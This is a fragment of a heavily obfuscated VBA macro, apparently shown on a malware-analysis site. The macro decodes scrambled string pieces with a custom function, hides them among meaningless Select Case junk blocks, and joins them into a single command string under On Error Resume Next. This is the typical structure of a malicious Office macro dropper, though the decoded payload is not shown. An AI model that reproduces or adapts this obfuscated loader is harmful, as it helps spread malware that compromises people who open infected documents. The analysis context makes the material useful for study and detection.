oFRPiOD = FThdVO("UwAQYAkDAzAQZAYDA2AAOAYDAwAgYAUGA4AgNAUGAxAQYAUGAxAQMAkDAyAAMAADAlBQOAADAhBwYAEGAwAAMAUDA1AQYAkDAwAgMAIDAmBQMAgDA5AwNAMDAyAQYAgDAwAwMAYDAxAgMAkDAmBQZAQDA0AwMAYGAmBwYAUDA4AQOAYDAjBgYA82VOzu", 7 + 0, 180 + 0)
Select Case oSTiK
Case 17036
oNamN = ChrB(rjwfD)
nNsRZ = rIOwt
Case 80084
zcKGwW = Rnd(lfkujZ)
JuzTAc = Cos(uovAu)
End Select
Select Case mEzwI
Case 2948
uQdQn = ChrB(HjzMc)
bQSjvz = nUtRY
Case 52629
ZLhmdG = Rnd(XUwOB)
owKrIJ = Cos(HEUVD)
End Select
usjDVWo = FThdVO("hNOw,AQZAgDAhBQOAMDAhBAMAUDA3AAZAUDAmBQOAQDAjBQZAYGAyAANAkDA1", 2 + 0, 55 + 0)
Select Case lNjBzF
Case 78865
jvBMj = ChrB(ZEwWU)
NirJBJ = EbUrL
Case 66585
VLrSzJ = Rnd(fFAIi)
ozDIz = Cos(KlDWW)
End Select
Select Case EfluiV
Case 29252
YihUVv = ChrB(rKzoBD)
zolnvJ = KwTHz
Case 46638
okmHq = Rnd(FXVqIK)
rOtWQ = Cos(GizIua)
End Select
kkYjfFujkbI = FThdVO("CYkBwYAUDA3AQYAUDAiBgNAUDA4AANAUDAwAgZAQDA4niFZ1Yv", 8 + 0, 41 + 0)
Select Case fNlOM
Case 46126
SCZMh = ChrB(YtaTv)
lnPwCw = JSorbr
Case 63550
zrlGdk = Rnd(CoohpF)
MIdNP = Cos(SQRiRV)
End Select
Select Case QJSEEt
Case 22721
TGAmsP = ChrB(iXChaf)
Tjazj = tlzaUr
Case 88439
sfPGm = Rnd(QmIUz)
wsmVi = Cos(SJqliE)
End Select
jnNRShd = FThdVO("2@wFQDAiBQMAEDA3AANAIDAiBQMAkDAzAAMAMGAiBAMAUGA0AgNAADXX", 3 + 0, 50 + 0)
Select Case dDiJZ
Case 33930
Vmmsm = ChrB(niqhXF)
WlBwc = iZkMGA
Case 21263
IzidjC = Rnd(rJFujH)
nSIOYD = Cos(sBjhhj)
End Select
Select Case ClJPi
Case 17331
SGHzAp = ChrB(IFSjo)
kmnDF = zwmlR
Case 68123
jcCmk = Rnd(IWVJM)
Oupzh = Cos(BkimP)
End Select
uzLjiTSI = FThdVO("%tFuGC%AwMAEGAmBgZAIGAlBgNAEGAlBAZAcDA4AAZAIDAxAQMAkDAkBQOAIGA0AAOAIGA4AgYAkDAxAgZAEGA2AAOAIDA1AQYAkDAzAAMAYGA3AAOAEDA0AQZAkDA5AAZAcDA3AQZAMDAyAQYAADA8o", 3 + 0, 143 + 0)
Select Case GKIJCj
Case 38733
PcGrFS = ChrB(WfqOdb)
qbKwEV = ztwNF
Case 61759
BzUpp = Rnd(Imowu)
ifEnY = Cos(WcUhzF)
End Select
Select Case cBIpH
Case 27278
YXoYc = ChrB(wqaML)
dDXYtS = sXLsKo
Case 3323
iNmzv = Rnd(zSzpM)
wmMZSv = Cos(TGFcOX)
End Select
EDrMwwilki = FThdVO("26zAAMAEDAkBgZAIDAkBQMAgDAwAAMAEDAmBAZAQGA2AANAkDA0AgNAUGA5AwNAUDA4AQMAUGAjBAZAYGAhBQYAMGAyA%2%hk", 7 + 0, 89 + 0)
Select Case VpMfdk
Case 50609
RcoPQ = ChrB(dkZjj)
fGLmZP = izYkX
Case 50567
CKGSL = Rnd(AmVjkD)
ipVjth = Cos(zPdZFO)
End Select
Select Case hHCzWm
Case 35220
MGQIf = ChrB(iSsJq)
rsUELk = hwUFkW
Case 33051
bbFbwh = Rnd(OoMHFn)
HPYci = Cos(omwnlr)
End Select
zGQzN = FThdVO("WNtGIDA4AANAMGA0AQZAMDAyAQYAgDAjBAOAMGA5AQOAMG2NK", 4 + 0, 42 + 0)
Select Case YrAflO
Case 35942
qniuv = ChrB(ijsEf)
SpFjH = YBodRp
Case 9727
GWnjWq = Rnd(MQcqi)
jKGFjG = Cos(SjmTYt)
End Select
JZPmOazuSTVBfN = znBKtcqYsWoDMM + QNMWspwFHsLho + QTEDQufza + """" + GYdpZHrriXhi + VCSKXTvaElf + cCfiDkOtM + shZTMtd + vGLZntX + MCmuGt + PQLYs + PKLvz + jnNRShd + rArlUU + MHCNNOza + qTnzdYSb + hKctwAkVMQ + hswCjKdNFRu + usjDVWo + tcErwmdAJ + qVOhJ + rFFMpjJTWk + kkYjfFujkbI + uzLjiTSI + WwMvvuTZ + lUlkIGmK + AmtjhjbbN + RLifc + sVrhQq + XfviZPZtCih + rTnWdicuq + rBuph + zGQzN + oFRPiOD + EDrMwwilki + qjYwR + HRWYFi + lAlYzilzrNv + IIKIDu + silhkEhv + CHFbRYsVjO + flVBz + sYprJvac + jjjdBkjF + jOjTbCX + mRkAGGz + cUDuDcFfonJ + swUoBpcASEM + BzQLUs + nuJTHQL + kHmPoQnM + hJXRc
Select Case iXkTI
Case 55198
EwDGw = ChrB(lbCNuB)
zLKJd = lzZfoo
Case 17677
TiXYC = Rnd(nhHVX)
jWQoUd = Cos(QUSMbq)
End Select
End Function
Attribute VB_Name = "isNmCoGFBIEWIf"
Function QTEDQufza()
On Error Resume Next
Select Case ZXkwQ
Case 25901
UfGAEO = ChrB(zDzqp)
mfSCtZ = AVSVs
Case 73603
ZUnUPd = Rnd(UoWWtm)
TVhQTc = Cos(uEiDqN)
End Select
PQLYs = FThdVO("hvWnwjltwwmj% te5uIn54a&&SW8Wp", 6 + 0, 17 + 0)
Select Case zMlHSn
Case 99211
QfbLOR = ChrB(wjznLh)
lFZJtf = FQYQA
Case 40907
kObwpq = Rnd(CoHOP)
ICDDB = Cos(zbjiIu)
End Select
Select Case AMBvfE
Case 88818
nKShF = ChrB(wRJpOE)
cZllCj = scqwZi
Case 59031
CzkNUG = Rnd(upVcz)
JDRXB = Cos(YmQJcY)
End Select
rTnWdicuq = FThdVO("O1vqKiCY% te5uIn54a4@q", 4 + 0, 8 + 0)
Select Case SKUTH
Case 52901
BOLEA = ChrB(hXivQZ)
ciYYbY = GIlnIo
Case 30527
uaWNBs = Rnd(urNWR)
AHVtC = Cos(cjlvsj)
End Select
Select Case tuKuh
Case 93869
DbzbJ = ChrB(uqCdC)
EqazQ = EiBTME
Case 29804
rqtSi = Rnd(wsaON)
fPfEU = Cos(sXSWSw)
End Select
sVrhQq = FThdVO(".J@S6PZJ% te5uIn54a.h", 3 + 0, 8 + 0)
Select Case MdSTjP
Case 89698
lMDzk = ChrB(rdMQMk)
Cowww = MsFUX
Case 93712
WhdZq = Rnd(SttDbH)
sBuFGG = Cos(iJpTW)
End Select
Select Case biqKT
Case 5887
iYrYMn = ChrB(UhwMD)
ihrBJZ = hKmLZ
Case 7791
VzjADS = Rnd(upXww)
dPnJVn = Cos(qtrpB)
End Select
VCSKXTvaElf = FThdVO("tvLOKkFj%!!%LMdnPbkDoPV%!j,", 3 + 0, 18 + 0)
Select Case wzXljw
Case 16458
rVAwJ = ChrB(fosTCK)
bRXdpl = ncIrwJ
Case 39765
WDqAq = Rnd(mumNL)
kCBXm = Cos(wWhAIr)
End Select
Select Case zSwwA
Case 27745
VloRKE = ChrB(mKCPj)
abVUv = SRUWuO
Case 37310
sujVj = Rnd(niDAA)
rrqEw = Cos(imjYw)
End Select
rArlUU = FThdVO("Uj4HzIzAcf2", 5 + 0, 3 + 0)
Select Case ALvYAO
Case 88359
quJsi = ChrB(jKQrXU)
vzbaQ = hfhdTz
Case 6656
XdPhp = Rnd(zJwhw)
PjYVoB = Cos(JFOUzk)
End Select
Select Case qIdOq
Case 20582
HHwwiw = ChrB(YjIAC)
cTGYV = Rlupjq
Case 47120
CUhCIR = Rnd(SYzDo)
JJjnlT = Cos(wXBFtD)
End Select
swUoBpcASEM = FThdVO("jaBLF65uIn54a&&rHzuWAnDu6", 3 + 0, 11 + 0)
Select Case NMRQFK
Case 2677
DCGrl = ChrB(KuHVjA)
cLCuX = wfTbIE
Case 46508
GHjzi = Rnd(IFjhui)
mdukMD = Cos(kAPWhT)
End Select
Select Case iLCim
Case 25004
NjwrX = ChrB(sTLViV)
sjuLER = aMvJc
Case 46690
MIHEO = Rnd(ZwPzT)
zpspEC = Cos(ZJuRr)
End Select
MHCNNOza = FThdVO("5GaZeh=%LMdnPbkDoPV% teCXj", 4 + 0, 19 + 0)
Select Case UGaAnm
Case 29306
jfKDRT = ChrB(UwUusT)
RhXrH = wERqQ
Case 59019
SzwbME = Rnd(RJhlnj)
EMaWzG = Cos(ptdwf)
End Select
Select Case fFAtw
Case 24211
maJjGX = ChrB(cmcwT)
ToPcmU = EosGu
Case 8852
UQNmD = Rnd(GbZmP)
pYKQm = Cos(rzpqpY)
End Select
tcErwmdAJ = FThdVO("5uIn54amSIj% te5uIn54a&2o5h", 5 + 0, 9 + 0)
Select Case bEWwi
Case 6120
BJsLZp = ChrB(RZsPdM)
fjuXFb = EYiao
Case 60082
wjcrii = Rnd(ffwrw)
aawbML = Cos(wUbacb)
End Select
Select Case XZVtu
Case 1233
zCjNbH = ChrB(VqqkHr)
idRDSt = ripcwU
Case 90814
jYPJY = Rnd(EDcFG)
SvbWf = Cos(bsvEpc)
End Select
CHFbRYsVjO = FThdVO("XY%@XD&ll=%zGGz", 2 + 0, 8 + 0)
Select Case UHTtk
Case 55337
AKGSUz = ChrB(paZpz)
jKvHT = IsCPfi
Case 75131
EBlKr = Rnd(UMHpJB)
YmSVOr = Cos(aKMMa)
End Select
Select Case aIFnzT
Case 95554
mjKbf = ChrB(nzKDj)
VpzOZ = KHAQN
Case 82304
wKiJO = Rnd(ZNvhP)
FModG = Cos(orpEkJ)
End Select
nuJTHQL = FThdVO("8tzz@X@", 2 + 0, 1 + 0)
Select Case NaIpWV
Case 41333
QhOIq = ChrB(sGvaHj)
ULWdt = ZzUtZV
Case 34565
kRXZM = Rnd(lofZVQ)
vkuicZ = Cos(sOlLck)
End Select
Select Case lPLZv
Case 76533
IzrfMW = ChrB(trDDB)
LYOsEY = ddNacl
Case 36472
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.